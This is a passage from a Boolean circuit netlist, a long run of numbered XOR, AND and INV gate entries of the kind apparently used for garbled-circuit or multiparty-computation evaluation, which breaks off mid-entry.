+2 1 27175 33886 27161 AND +2 1 27176 27172 27159 AND +2 1 27173 27166 27158 AND +2 1 27178 27167 27157 AND +2 1 27157 27085 27087 XOR +2 1 27089 27087 27093 XOR +2 1 33893 27093 27098 XOR +2 1 27107 27098 27154 XOR +2 1 27156 27157 27059 XOR +2 1 27059 27060 27106 XOR +2 1 27106 27088 27105 XOR +2 1 27159 27105 27153 XOR +2 1 27177 27168 27155 AND +2 1 27155 27158 27108 XOR +2 1 27155 27161 27112 XOR +2 1 27112 27084 27099 XOR +2 1 27107 27099 27151 XOR +2 1 27156 27108 27102 XOR +2 1 27088 27108 27062 XOR +2 1 27062 27087 27152 XOR +2 1 27093 27112 27061 XOR +2 1 33891 27061 27104 XOR +2 1 27159 27102 27058 XOR +2 1 33887 27058 27146 XOR +2 1 27154 27153 27150 AND +2 1 27150 27104 27145 XOR +2 1 27150 27152 27149 XOR +2 1 27151 27149 27148 AND +2 1 27148 27104 27147 XOR +2 1 27148 27160 27053 XOR +2 1 27053 27089 27049 XOR +2 1 33893 27049 27052 XOR +2 1 27148 27098 27050 XOR +2 1 33891 27049 27048 XOR +2 1 27145 27146 27144 AND +2 1 27144 27152 27143 XOR +2 1 27150 27144 27142 XOR +2 1 27144 27102 27057 XOR +2 1 27144 27161 27056 XOR +2 1 27056 27158 27051 XOR +2 1 27051 27052 27135 XOR +2 1 27152 27142 27141 AND +2 1 27141 27149 27139 XOR +2 1 27141 27159 27111 XOR +2 1 27111 27105 27133 XOR +2 1 33887 27111 27094 XOR +2 1 27094 27057 27140 XOR +2 1 27147 27139 27138 AND +2 1 27138 27107 27097 XOR +2 1 27097 27099 27137 XOR +2 1 27138 27162 27055 XOR +2 1 27094 27055 27047 XOR +2 1 27084 27047 27054 XOR +2 1 27051 27054 27136 XOR +2 1 27097 27050 27134 XOR +2 1 27047 27048 27132 XOR +2 1 27133 27170 27131 AND +2 1 27140 27169 27130 AND +2 1 27143 33886 27129 AND +2 1 27129 27131 27110 XOR +2 1 27134 27164 27128 AND +2 1 27137 27176 27127 AND +2 1 27127 27128 27113 XOR +2 1 27147 27166 27126 AND +2 1 27126 27127 27064 XOR +2 1 27135 27167 27125 AND +2 1 27132 27165 27124 AND +2 1 27124 27113 27103 XOR +2 1 27124 27127 27079 XOR +1 1 27079 27076 INV +2 1 27124 27125 27075 XOR +2 1 27125 27103 27063 XOR +2 1 27136 27168 27123 AND +2 1 27133 27174 27122 AND +2 1 27140 27171 27121 AND +2 1 27143 27175 27120 AND +2 1 27120 27103 27069 XOR +1 1 27069 27066 INV +2 1 27134 27179 27119 AND +2 1 27119 27123 27095 XOR +2 1 27128 27119 27080 XOR +1 1 27095 27073 INV +2 1 27137 27172 27118 AND +2 1 27126 27118 27082 XOR +2 1 27147 27173 27117 AND +2 1 27073 27117 27072 XOR +2 1 27072 27110 27068 XOR +2 1 27135 27178 27116 AND +2 1 27116 27068 27071 XOR +2 1 27132 27180 27115 AND +2 1 27115 27116 27109 XOR +2 1 27121 27109 27091 XOR +2 1 27122 27091 27092 XOR +2 1 27130 27092 27096 XOR +2 1 27131 27096 27101 XOR +2 1 27113 27101 35665 XOR +2 1 35661 35665 8143 XOR +2 1 8141 35665 8098 XOR +2 1 8151 8143 8082 XOR +2 1 27082 27109 27078 XOR +2 1 27110 27078 27081 XOR +2 1 27080 27081 27184 XOR +2 1 27073 27078 27077 XOR +2 1 27076 27077 27183 XOR +2 1 27101 27075 27182 XOR +2 1 27091 27068 27067 XOR +2 1 27066 27067 35663 XOR +2 1 35659 35663 8144 XOR +2 1 8146 8144 8084 XOR +2 1 27129 27096 27065 XOR +2 1 27064 27065 35664 XOR +2 1 27092 27063 35666 XOR +2 1 35662 35666 8126 XOR +2 1 8126 35664 7932 XOR +1 1 8126 8086 INV +2 1 8086 32796 8089 XOR +2 1 27136 27177 27114 AND +2 1 27125 27114 27074 XOR +1 1 27074 27070 INV +2 1 27070 27071 27181 XOR +2 1 7706 7712 7663 XOR +2 1 7663 7635 7650 XOR +2 1 7658 7650 7702 XOR +2 1 7644 7663 7612 XOR +2 1 33867 7612 7655 XOR +2 1 35376 784 33877 XOR +2 1 33874 33877 7869 XOR +2 1 33875 33877 7775 XOR +2 1 7777 7775 7737 XOR +2 1 7775 7871 7856 XOR +2 1 7871 7856 7847 AND +2 1 7869 7791 7865 XOR +2 1 7774 7869 7861 XOR +2 1 33870 7861 7860 XOR +2 1 7869 7858 7848 AND +2 1 7848 7776 7778 XOR +2 1 7847 7848 7750 XOR +2 1 7750 7751 7797 XOR +2 1 7775 7781 7864 XOR +2 1 7864 7857 7849 AND +2 1 7791 7864 7862 XOR +2 1 33877 33872 7868 XOR +2 1 7862 7860 7853 AND +2 1 7847 7853 7798 XOR +2 1 33877 33871 7870 XOR +2 1 7870 7855 7851 AND +2 1 7851 7775 7779 XOR +2 1 7861 7865 7854 AND +2 1 7854 7777 7780 XOR +2 1 7780 7778 7784 XOR +2 1 33877 7784 7789 XOR +2 1 7798 7789 7845 XOR +2 1 7774 7737 7859 XOR +2 1 7868 7859 7846 AND +2 1 7846 7849 7799 XOR +2 1 7846 7852 7803 XOR +2 1 7803 7775 7790 XOR +2 1 7798 7790 7842 XOR +2 1 7847 7799 7793 XOR +2 1 7850 7793 7749 XOR +2 1 33871 7749 7837 XOR +2 1 7784 7803 7752 XOR +2 1 33875 7752 7795 XOR +2 1 7658 7649 7705 XOR +2 1 7705 7704 7701 AND +2 1 7701 7703 7700 XOR +2 1 7702 7700 7699 AND +2 1 7699 7649 7601 XOR +2 1 7699 7711 7604 XOR +2 1 7604 7640 7600 XOR +2 1 33869 7600 7603 XOR +2 1 33867 7600 7599 XOR +2 1 7701 7655 7696 XOR +2 1 7696 7697 7695 AND +2 1 7695 7653 7608 XOR +2 1 7695 7712 7607 XOR +2 1 7607 7709 7602 XOR +2 1 7602 7603 7686 XOR +2 1 7686 7718 7676 AND +2 1 7686 7729 7667 AND +2 1 7695 7703 7694 XOR +2 1 7694 7726 7671 AND +2 1 7694 33862 7680 AND +2 1 7701 7695 7693 XOR +2 1 7703 7693 7692 AND +2 1 7692 7710 7662 XOR +2 1 33863 7662 7645 XOR +2 1 7645 7608 7691 XOR +2 1 7691 7720 7681 AND +2 1 7691 7722 7672 AND +2 1 7662 7656 7684 XOR +2 1 7684 7725 7673 AND +2 1 7684 7721 7682 AND +2 1 7699 7655 7698 XOR +2 1 7698 7717 7677 AND +2 1 7698 7724 7668 AND +2 1 7680 7682 7661 XOR +2 1 7692 7700 7690 XOR +2 1 7698 7690 7689 AND +2 1 7689 7658 7648 XOR +2 1 7689 7713 7606 XOR +2 1 7645 7606 7598 XOR +2 1 7598 7599 7683 XOR +2 1 7683 7716 7675 AND +2 1 7683 7731 7666 AND +2 1 7675 7676 7626 XOR +2 1 7635 7598 7605 XOR +2 1 7602 7605 7687 XOR +2 1 7687 7719 7674 AND +2 1 7687 7728 7665 AND +2 1 7676 7665 7625 XOR +1 1 7625 7621 INV +2 1 7648 7601 7685 XOR +2 1 7685 7715 7679 AND +2 1 7685 7730 7670 AND +2 1 7679 7670 7631 XOR +2 1 7670 7674 7646 XOR +1 1 7646 7624 INV +2 1 7624 7668 7623 XOR +2 1 7623 7661 7619 XOR +2 1 7667 7619 7622 XOR +2 1 7621 7622 7732 XOR +2 1 7666 7667 7660 XOR +2 1 7672 7660 7642 XOR +2 1 7642 7619 7618 XOR +2 1 7673 7642 7643 XOR +2 1 7681 7643 7647 XOR +2 1 7680 7647 7616 XOR +2 1 7682 7647 7652 XOR +2 1 7652 7626 7733 XOR +2 1 7648 7650 7688 XOR +2 1 7688 7727 7678 AND +2 1 7677 7678 7615 XOR +2 1 7688 7723 7669 AND +2 1 7677 7669 7633 XOR +2 1 7633 7660 7629 XOR +2 1 7661 7629 7632 XOR +2 1 7631 7632 7735 XOR +2 1 7675 7678 7630 XOR +1 1 7630 7627 INV +2 1 7624 7629 7628 XOR +2 1 7627 7628 7734 XOR +2 1 7615 7616 35632 XOR +2 1 7678 7679 7664 XOR +2 1 7664 7652 35633 XOR +2 1 7675 7664 7654 XOR +2 1 7676 7654 7614 XOR +2 1 7643 7614 35634 XOR +2 1 7671 7654 7620 XOR +1 1 7620 7617 INV +2 1 7617 7618 35631 XOR +2 1 7932 7933 8198 XOR +2 1 35606 7927 7926 XOR +2 1 35664 35663 7893 XOR +1 1 7733 32799 INV +1 1 7734 32800 INV +1 1 7735 32801 INV +1 1 7732 32806 INV +2 1 7797 7779 7796 XOR +2 1 7850 7796 7844 XOR +2 1 7845 7844 7841 AND +2 1 7841 7795 7836 XOR +2 1 7836 7837 7835 AND +2 1 7841 7835 7833 XOR +2 1 7835 7852 7747 XOR +2 1 7747 7849 7742 XOR +2 1 7835 7793 7748 XOR +1 1 24384 33049 INV +2 1 33049 7452 8059 XOR +1 1 24385 33050 INV +2 1 33050 7453 8057 XOR +1 1 24387 33051 INV +2 1 32953 33051 7924 XOR +2 1 32791 33051 8173 XOR +1 1 27183 33101 INV +2 1 8141 33101 7876 XOR +2 1 7876 7877 8221 XOR +2 1 33101 35655 7935 XOR +2 1 32796 33101 8156 XOR +1 1 27184 33102 INV +2 1 32797 33102 8176 XOR +2 1 33102 32924 7891 XOR +1 1 27181 33107 INV +2 1 8122 33107 8120 XOR +1 1 27182 33108 INV +2 1 8086 33108 8117 XOR +2 1 32795 33108 8149 XOR +2 1 8149 32922 8104 XOR +2 1 7779 7799 7753 XOR +2 1 7753 7778 7843 XOR +2 1 7835 7843 7834 XOR +2 1 7841 7843 7840 XOR +2 1 7842 7840 7839 AND +2 1 7839 7795 7838 XOR +2 1 7838 7864 7808 AND +2 1 7839 7851 7744 XOR +2 1 7744 7780 7740 XOR +2 1 33877 7740 7743 XOR +2 1 7742 7743 7826 XOR +2 1 7826 7858 7816 AND +2 1 7826 7869 7807 AND +2 1 7839 7789 7741 XOR +2 1 7834 33870 7820 AND +2 1 7843 7833 7832 AND +2 1 7832 7850 7802 XOR +2 1 33871 7802 7785 XOR +2 1 7785 7748 7831 XOR +2 1 7831 7860 7821 AND +2 1 7802 7796 7824 XOR +2 1 7824 7861 7822 AND +2 1 7824 7865 7813 AND +2 1 7820 7822 7801 XOR +2 1 7832 7840 7830 XOR +2 1 7838 7830 7829 AND +2 1 7829 7798 7788 XOR +2 1 7788 7790 7828 XOR +2 1 7828 7863 7809 AND +2 1 7788 7741 7825 XOR +2 1 7825 7870 7810 AND +2 1 7825 7855 7819 AND +2 1 7819 7810 7771 XOR +2 1 7831 7862 7812 AND +2 1 7828 7867 7818 AND +2 1 7818 7819 7804 XOR +2 1 7838 7857 7817 AND +2 1 7817 7809 7773 XOR +2 1 7817 7818 7755 XOR +2 1 7829 7853 7746 XOR +2 1 33875 7740 7739 XOR +2 1 7785 7746 7738 XOR +2 1 7738 7739 7823 XOR +2 1 7823 7856 7815 AND +2 1 7815 7816 7766 XOR +2 1 7823 7871 7806 AND +2 1 7806 7807 7800 XOR +2 1 7773 7800 7769 XOR +2 1 7812 7800 7782 XOR +2 1 7815 7818 7770 XOR +2 1 7815 7804 7794 XOR +2 1 7813 7782 7783 XOR +1 1 7770 7767 INV +2 1 7821 7783 7787 XOR +2 1 7801 7769 7772 XOR +2 1 7771 7772 7875 XOR +2 1 7775 7738 7745 XOR +2 1 7820 7787 7756 XOR +2 1 7755 7756 35620 XOR +2 1 35615 35620 8162 XOR +1 1 8162 8025 INV +1 1 35620 7887 INV +2 1 7887 35614 7886 XOR +2 1 7885 7886 8217 XOR +2 1 7816 7794 7754 XOR +2 1 7783 7754 35622 XOR +2 1 35617 35622 8130 XOR +2 1 8130 32931 7992 XOR +1 1 7875 32805 INV +2 1 32862 32805 8170 XOR +2 1 7742 7745 7827 XOR +2 1 7827 7859 7814 AND +2 1 7810 7814 7786 XOR +1 1 7786 7764 INV +2 1 7764 7769 7768 XOR +2 1 7827 7868 7805 AND +2 1 7816 7805 7765 XOR +1 1 7765 7761 INV +2 1 7764 7808 7763 XOR +2 1 7763 7801 7759 XOR +2 1 7782 7759 7758 XOR +2 1 7807 7759 7762 XOR +2 1 7761 7762 7872 XOR +2 1 7767 7768 7874 XOR +1 1 7874 35618 INV +2 1 7874 32862 7883 XOR +2 1 7882 7883 8218 XOR +2 1 32861 35618 8169 XOR +1 1 7872 32803 INV +2 1 32803 35616 8041 XOR +2 1 32867 32803 8154 XOR +2 1 8154 32930 8014 XOR +1 1 8014 8012 INV +2 1 8154 8148 8021 XOR +2 1 7822 7787 7792 XOR +2 1 7804 7792 35621 XOR +2 1 35616 35621 8158 XOR +2 1 7792 7766 7873 XOR +1 1 8158 7999 INV +2 1 35621 35615 7889 XOR +2 1 7888 7889 8216 XOR +1 1 7873 32804 INV +2 1 32804 32803 8011 XOR +2 1 7834 7866 7811 AND +2 1 7811 7794 7760 XOR +1 1 7760 7757 INV +2 1 7757 7758 35619 XOR +2 1 35619 32861 8043 XOR +2 1 35614 35619 8165 XOR +1 1 8165 8017 INV +2 1 8017 35627 8015 XOR +1 1 7084 33241 INV +2 1 33241 32885 6915 XOR +2 1 6915 6916 35272 XOR +2 1 35272 888 33773 XOR +2 1 33771 33773 13995 XOR +2 1 13995 14091 14076 XOR +2 1 13997 13995 13957 XOR +2 1 33770 33773 14089 XOR +2 1 14089 14012 14085 XOR +2 1 33773 33767 14090 XOR +2 1 33241 35408 6878 XOR +2 1 6878 6879 7152 XOR +2 1 7152 7149 35292 XOR +2 1 35292 868 33793 XOR +2 1 33793 33792 7191 XOR +2 1 33791 33793 7214 XOR +2 1 33792 7214 7216 XOR +2 1 7221 7216 7297 XOR +2 1 7304 7297 7289 AND +2 1 33796 7216 7298 XOR +2 1 33795 7216 7295 XOR +2 1 7310 7295 7291 AND +2 1 7291 7215 7219 XOR +2 1 14090 14075 14071 AND +2 1 14071 13995 13999 XOR +2 1 14089 14078 14068 AND +2 1 14068 13996 13998 XOR +2 1 33241 35406 7003 XOR +2 1 7002 7003 35293 XOR +2 1 35293 867 33794 XOR +2 1 33792 33794 7311 XOR +2 1 33794 33796 7217 XOR +2 1 7217 33795 7176 XOR +2 1 7215 7311 7296 XOR +2 1 7311 7296 7287 AND +2 1 33794 33797 7309 XOR +2 1 7309 7298 7288 AND +2 1 7287 7288 7190 XOR +2 1 7190 7191 7237 XOR +2 1 7237 7219 7236 XOR +2 1 7290 7236 7284 XOR +2 1 7309 7231 7305 XOR +2 1 7288 7216 7218 XOR +2 1 7214 7309 7301 XOR +2 1 7301 7305 7294 AND +2 1 33790 7301 7300 XOR +2 1 7302 7300 7293 AND +2 1 7287 7293 7238 XOR +2 1 7217 7215 7177 XOR +2 1 7214 7177 7299 XOR +2 1 7308 7299 7286 AND +2 1 7286 7289 7239 XOR +2 1 7219 7239 7193 XOR +2 1 7193 7218 7283 XOR +2 1 7287 7239 7233 XOR +2 1 7294 7217 7220 XOR +2 1 7220 7218 7224 XOR +2 1 33797 7224 7229 XOR +2 1 7238 7229 7285 XOR +2 1 7285 7284 7281 AND +2 1 7281 7283 7280 XOR +2 1 13995 14001 14084 XOR +2 1 14012 14084 14082 XOR +2 1 14084 14077 14069 AND +2 1 33790 7176 7306 XOR +2 1 7306 33790 7292 AND +2 1 7286 7292 7243 XOR +2 1 7243 7215 7230 XOR +2 1 7238 7230 7282 XOR +2 1 7282 7280 7279 AND +2 1 7279 7229 7181 XOR +2 1 7279 7291 7184 XOR +2 1 7184 7220 7180 XOR +2 1 33797 7180 7183 XOR +2 1 7224 7243 7192 XOR +2 1 33795 7192 7235 XOR +2 1 7281 7235 7276 XOR +2 1 7279 7235 7278 XOR +2 1 7278 7304 7248 AND +2 1 33795 7180 7179 XOR +2 1 7290 7233 7189 XOR +2 1 33791 7189 7277 XOR +2 1 7276 7277 7275 AND +2 1 7275 7233 7188 XOR +2 1 7275 7292 7187 XOR +2 1 7187 7289 7182 XOR +2 1 7182 7183 7266 XOR +2 1 7266 7309 7247 AND +2 1 7266 7298 7256 AND +2 1 7275 7283 7274 XOR +2 1 7274 33790 7260 AND +2 1 7274 7306 7251 AND +2 1 7281 7275 7273 XOR +2 1 7283 7273 7272 AND +2 1 7272 7280 7270 XOR +2 1 7278 7270 7269 AND +2 1 7269 7238 7228 XOR +2 1 7228 7181 7265 XOR +2 1 7265 7295 7259 AND +2 1 7228 7230 7268 XOR +2 1 7272 7290 7242 XOR +2 1 33791 7242 7225 XOR +2 1 7225 7188 7271 XOR +2 1 7271 7300 7261 AND +2 1 7242 7236 7264 XOR +2 1 7264 7305 7253 AND +2 1 7264 7301 7262 AND +2 1 7265 7310 7250 AND +2 1 7260 7262 7241 XOR +2 1 7259 7250 7211 XOR +2 1 7269 7293 7186 XOR +2 1 7225 7186 7178 XOR +2 1 7215 7178 7185 XOR +2 1 7182 7185 7267 XOR +2 1 7267 7308 7245 AND +2 1 7256 7245 7205 XOR +1 1 7205 7201 INV +2 1 7267 7299 7254 AND +2 1 7250 7254 7226 XOR +1 1 7226 7204 INV +2 1 7204 7248 7203 XOR +2 1 7203 7241 7199 XOR +2 1 7247 7199 7202 XOR +2 1 7201 7202 7312 XOR +2 1 7178 7179 7263 XOR +2 1 7263 7311 7246 AND +2 1 7246 7247 7240 XOR +2 1 7263 7296 7255 AND +2 1 7255 7256 7206 XOR +2 1 7268 7307 7258 AND +2 1 7255 7258 7210 XOR +1 1 7210 7207 INV +2 1 7258 7259 7244 XOR +2 1 7255 7244 7234 XOR +2 1 7256 7234 7194 XOR +2 1 7251 7234 7200 XOR +1 1 7200 7197 INV +2 1 7278 7297 7257 AND +2 1 7257 7258 7195 XOR +2 1 7268 7303 7249 AND +2 1 7257 7249 7213 XOR +2 1 7213 7240 7209 XOR +2 1 7241 7209 7212 XOR +2 1 7211 7212 7315 XOR +2 1 7204 7209 7208 XOR +2 1 7207 7208 7314 XOR +2 1 7271 7302 7252 AND +2 1 7252 7240 7222 XOR +2 1 7253 7222 7223 XOR +2 1 7223 7194 35613 XOR +2 1 35597 35613 8140 XOR +2 1 8140 35595 7880 XOR +1 1 8140 8035 INV +2 1 8173 8140 8125 XOR +2 1 8035 35599 8034 XOR +2 1 7222 7199 7198 XOR +2 1 7197 7198 35609 XOR +2 1 35594 35609 8175 XOR +1 1 8175 8036 INV +2 1 8036 32798 8106 XOR +2 1 8106 8107 35476 XOR +2 1 35476 757 33904 XOR +2 1 8175 8174 8068 XOR +2 1 35598 8068 35484 XOR +2 1 35484 749 33912 XOR +1 1 7312 32792 INV +2 1 8185 32792 8060 XOR +2 1 8060 8061 35487 XOR +2 1 35487 746 33915 XOR +2 1 33049 32792 8180 XOR +2 1 8183 8180 8046 XOR +2 1 33050 8046 35496 XOR +2 1 35496 737 33924 XOR +2 1 8188 8180 8075 XOR +2 1 32959 8075 35479 XOR +2 1 35479 754 33907 XOR +2 1 8180 35596 8002 XOR +1 1 8002 8000 INV +2 1 32792 7453 7984 XOR +1 1 7314 32793 INV +2 1 32793 24386 8053 XOR +2 1 8052 8053 35492 XOR +2 1 35492 741 33920 XOR +2 1 8035 32793 8064 XOR +2 1 32953 32793 8195 XOR +2 1 8195 8172 8047 XOR +2 1 35609 8047 35468 XOR +2 1 35468 765 33896 XOR +2 1 8195 8173 8070 XOR +2 1 8070 8071 8069 XOR +1 1 8069 35483 INV +2 1 35483 750 33911 XOR +2 1 33911 33912 31160 XOR +1 1 7315 32794 INV +2 1 32794 8125 35466 XOR +2 1 32954 32794 8196 XOR +2 1 8196 8134 8072 XOR +2 1 8196 8174 8063 XOR +2 1 32791 8072 35482 XOR +2 1 35482 751 33910 XOR +2 1 8063 8064 8062 XOR +1 1 8062 35467 INV +2 1 35467 766 33895 XOR +2 1 33895 33896 8277 XOR +2 1 35466 767 33894 XOR +2 1 8196 8133 7947 XOR +2 1 33051 7947 35474 XOR +2 1 35474 759 33902 XOR +2 1 13994 13957 14079 XOR +2 1 35608 35613 8132 XOR +2 1 8183 8132 8073 XOR +2 1 35597 8073 35481 XOR +2 1 8173 8132 8055 XOR +2 1 32954 8055 35490 XOR +2 1 35490 743 33918 XOR +2 1 35481 752 33909 XOR +2 1 33907 33909 8401 XOR +1 1 8132 7928 INV +2 1 7928 35607 8050 XOR +2 1 7928 35609 7925 XOR +2 1 7925 7926 8200 XOR +2 1 8200 8197 35493 XOR +2 1 35493 740 33921 XOR +2 1 33909 33904 8494 XOR +2 1 33918 33924 8547 XOR +2 1 7928 32960 7963 XOR +2 1 8132 32794 7923 XOR +2 1 7923 7924 8201 XOR +2 1 8201 8174 35491 XOR +2 1 35491 742 33919 XOR +2 1 33919 33920 8557 XOR +2 1 33919 33921 8540 XOR +2 1 33920 8540 8542 XOR +2 1 33924 8542 8624 XOR +2 1 8547 8542 8623 XOR +2 1 33921 33920 8517 XOR +2 1 7261 7223 7227 XOR +2 1 7260 7227 7196 XOR +2 1 7195 7196 35610 XOR +2 1 35606 35610 8187 XOR +2 1 8188 8187 8051 XOR +1 1 8051 8049 INV +2 1 8049 8050 35494 XOR +2 1 35494 739 33922 XOR +2 1 8187 8036 8033 XOR +2 1 8033 8034 35469 XOR +2 1 8067 35610 8066 XOR +2 1 8065 8066 35485 XOR +2 1 35485 748 33913 XOR +2 1 8202 8187 35477 XOR +2 1 35477 756 33905 XOR +2 1 35469 764 33897 XOR +2 1 33897 33896 8237 XOR +2 1 35610 35600 7881 XOR +2 1 7880 7881 8219 XOR +2 1 33895 33897 8260 XOR +2 1 33896 8260 8262 XOR +2 1 33905 33904 8377 XOR +2 1 7262 7227 7232 XOR +2 1 7244 7232 35611 XOR +2 1 8134 35611 7917 XOR +2 1 7232 7206 7313 XOR +1 1 7313 35612 INV +2 1 7313 35603 7964 XOR +2 1 7963 7964 35473 XOR +2 1 35473 760 33901 XOR +2 1 33901 33895 8356 XOR +2 1 33901 33896 8354 XOR +2 1 33050 35612 8177 XOR +2 1 8177 32959 7983 XOR +2 1 8177 8133 8045 XOR +2 1 8185 8177 8074 XOR +2 1 35608 8045 35497 XOR +2 1 35497 736 33925 XOR +2 1 33925 33920 8634 XOR +2 1 33925 33919 8636 XOR +2 1 32960 8074 35480 XOR +2 1 35480 753 33908 XOR +2 1 33902 33908 8407 XOR +2 1 8401 8407 8490 XOR +2 1 33907 8407 8493 XOR +2 1 35607 35611 8184 XOR +2 1 8185 8184 8048 XOR +2 1 33049 8048 35495 XOR +2 1 35495 738 33923 XOR +2 1 8219 8184 35470 XOR +2 1 8078 8184 8076 XOR +2 1 35470 763 33898 XOR +2 1 33896 33898 8357 XOR +2 1 33898 33901 8355 XOR +2 1 8260 8355 8347 XOR +2 1 33894 8347 8346 XOR +2 1 8355 8277 8351 XOR +2 1 8347 8351 8340 AND +2 1 7917 7918 8204 XOR +2 1 8204 8188 35486 XOR +2 1 35486 747 33914 XOR +2 1 33923 33925 8541 XOR +2 1 8541 8547 8630 XOR +2 1 8630 8623 8615 AND +2 1 8557 8630 8628 XOR +2 1 33922 33925 8635 XOR +2 1 8635 8624 8614 AND +2 1 8540 8635 8627 XOR +2 1 33918 8627 8626 XOR +2 1 8628 8626 8619 AND +2 1 33920 33922 8637 XOR +2 1 8541 8637 8622 XOR +2 1 8637 8622 8613 AND +2 1 8613 8614 8516 XOR +2 1 8516 8517 8563 XOR +2 1 33923 8547 8633 XOR +2 1 33922 33924 8543 XOR +2 1 8543 8541 8503 XOR +2 1 8540 8503 8625 XOR +2 1 8634 8625 8612 AND +2 1 8614 8542 8544 XOR +2 1 8613 8619 8564 XOR +2 1 33923 8542 8621 XOR +2 1 8612 8615 8565 XOR +2 1 8613 8565 8559 XOR +2 1 33919 8633 8629 XOR +2 1 8633 8629 8616 AND +2 1 8635 8557 8631 XOR +2 1 8627 8631 8620 AND +2 1 8620 8543 8546 XOR +2 1 8546 8544 8550 XOR +2 1 33925 8550 8555 XOR +2 1 8564 8555 8611 XOR +2 1 33911 33913 31143 XOR +2 1 33912 31143 31145 XOR +2 1 33915 31145 31224 XOR +2 1 33912 33914 31240 XOR +2 1 33913 33912 31120 XOR +2 1 35611 7452 8001 XOR +2 1 8000 8001 35471 XOR +2 1 35471 762 33899 XOR +2 1 33899 8262 8341 XOR +2 1 33899 33901 8261 XOR +2 1 8356 8341 8337 AND +2 1 8261 8357 8342 XOR +2 1 8357 8342 8333 AND +2 1 8337 8261 8265 XOR +2 1 7983 7984 7982 XOR +1 1 7982 35472 INV +2 1 35472 761 33900 XOR +2 1 33898 33900 8263 XOR +2 1 8263 33899 8222 XOR +2 1 8340 8263 8266 XOR +2 1 8263 8261 8223 XOR +2 1 8260 8223 8345 XOR +2 1 33894 8222 8352 XOR +2 1 33894 33900 8267 XOR +2 1 33899 8267 8353 XOR +2 1 33895 8353 8349 XOR +2 1 8352 33894 8338 AND +2 1 8353 8349 8336 AND +2 1 8354 8345 8332 AND +2 1 8332 8338 8289 XOR +2 1 8261 8267 8350 XOR +2 1 8277 8350 8348 XOR +2 1 8348 8346 8339 AND +2 1 8289 8261 8276 XOR +2 1 8267 8262 8343 XOR +2 1 8350 8343 8335 AND +2 1 8332 8335 8285 XOR +2 1 8333 8285 8279 XOR +2 1 8336 8279 8235 XOR +2 1 33895 8235 8323 XOR +2 1 8265 8285 8239 XOR +2 1 8183 7313 8058 XOR +2 1 8058 8059 35488 XOR +2 1 35488 745 33916 XOR +2 1 33916 31145 31227 XOR +2 1 33914 33916 31146 XOR +2 1 33910 33916 31150 XOR +2 1 31150 31145 31226 XOR +2 1 33915 31150 31236 XOR +2 1 33911 31236 31232 XOR +2 1 31146 33915 31105 XOR +2 1 33910 31105 31235 XOR +2 1 31235 33910 31221 AND +2 1 31236 31232 31219 AND +2 1 8333 8339 8284 XOR +2 1 8284 8276 8328 XOR +2 1 33900 8262 8344 XOR +2 1 8355 8344 8334 AND +2 1 8333 8334 8236 XOR +2 1 8334 8262 8264 XOR +2 1 8266 8264 8270 XOR +2 1 33901 8270 8275 XOR +2 1 8284 8275 8331 XOR +2 1 8236 8237 8283 XOR +2 1 8283 8265 8282 XOR +2 1 8239 8264 8329 XOR +2 1 8270 8289 8238 XOR +2 1 33899 8238 8281 XOR +2 1 8543 33923 8502 XOR +2 1 33918 8502 8632 XOR +2 1 8632 33918 8618 AND +2 1 8612 8618 8569 XOR +2 1 8569 8541 8556 XOR +2 1 8564 8556 8608 XOR +2 1 8550 8569 8518 XOR +2 1 33923 8518 8561 XOR +2 1 8616 8559 8515 XOR +2 1 33919 8515 8603 XOR +2 1 8636 8621 8617 AND +2 1 8617 8541 8545 XOR +2 1 8545 8565 8519 XOR +2 1 8563 8545 8562 XOR +2 1 8616 8562 8610 XOR +2 1 8611 8610 8607 AND +2 1 8607 8561 8602 XOR +2 1 8602 8603 8601 AND +2 1 8601 8559 8514 XOR +2 1 8607 8601 8599 XOR +2 1 8519 8544 8609 XOR +2 1 8609 8599 8598 AND +2 1 8607 8609 8606 XOR +2 1 8608 8606 8605 AND +2 1 8605 8617 8510 XOR +2 1 8510 8546 8506 XOR +2 1 33925 8506 8509 XOR +2 1 8605 8555 8507 XOR +2 1 8605 8561 8604 XOR +2 1 8604 8630 8574 AND +2 1 8598 8606 8596 XOR +2 1 8604 8596 8595 AND +2 1 8595 8564 8554 XOR +2 1 8598 8616 8568 XOR +2 1 33919 8568 8551 XOR +2 1 8551 8514 8597 XOR +2 1 8597 8626 8587 AND +2 1 8597 8628 8578 AND +2 1 8601 8609 8600 XOR +2 1 8600 8632 8577 AND +2 1 8600 33918 8586 AND +2 1 8568 8562 8590 XOR +2 1 8590 8627 8588 AND +2 1 8590 8631 8579 AND +2 1 8554 8556 8594 XOR +2 1 8594 8629 8575 AND +2 1 8586 8588 8567 XOR +2 1 8604 8623 8583 AND +2 1 8583 8575 8539 XOR +2 1 8595 8619 8512 XOR +2 1 8551 8512 8504 XOR +2 1 8554 8507 8591 XOR +2 1 8591 8636 8576 AND +2 1 8591 8621 8585 AND +2 1 8585 8576 8537 XOR +2 1 8541 8504 8511 XOR +2 1 33923 8506 8505 XOR +2 1 8504 8505 8589 XOR +2 1 8589 8637 8572 AND +2 1 8589 8622 8581 AND +2 1 8594 8633 8584 AND +2 1 8583 8584 8521 XOR +2 1 8584 8585 8570 XOR +2 1 8581 8570 8560 XOR +2 1 8577 8560 8526 XOR +2 1 8581 8584 8536 XOR +1 1 8536 8533 INV +1 1 8526 8523 INV +2 1 8336 8282 8330 XOR +2 1 8331 8330 8327 AND +2 1 8327 8329 8326 XOR +2 1 8328 8326 8325 AND +2 1 8325 8281 8324 XOR +2 1 8325 8275 8227 XOR +2 1 8324 8350 8294 AND +2 1 8324 8343 8303 AND +2 1 8327 8281 8322 XOR +2 1 8322 8323 8321 AND +2 1 8321 8329 8320 XOR +2 1 8321 8338 8233 XOR +2 1 8233 8335 8228 XOR +2 1 8321 8279 8234 XOR +2 1 8320 33894 8306 AND +2 1 8320 8352 8297 AND +2 1 8327 8321 8319 XOR +2 1 8329 8319 8318 AND +2 1 8318 8336 8288 XOR +2 1 8288 8282 8310 XOR +2 1 8310 8351 8299 AND +2 1 8310 8347 8308 AND +2 1 33895 8288 8271 XOR +2 1 8271 8234 8317 XOR +2 1 8317 8348 8298 AND +2 1 8317 8346 8307 AND +2 1 8306 8308 8287 XOR +2 1 8318 8326 8316 XOR +2 1 8324 8316 8315 AND +2 1 8315 8339 8232 XOR +2 1 8271 8232 8224 XOR +2 1 8261 8224 8231 XOR +2 1 8315 8284 8274 XOR +2 1 8274 8276 8314 XOR +2 1 8274 8227 8311 XOR +2 1 8314 8349 8295 AND +2 1 8303 8295 8259 XOR +2 1 8311 8356 8296 AND +2 1 8311 8341 8305 AND +2 1 8305 8296 8257 XOR +2 1 8314 8353 8304 AND +2 1 8304 8305 8290 XOR +2 1 8303 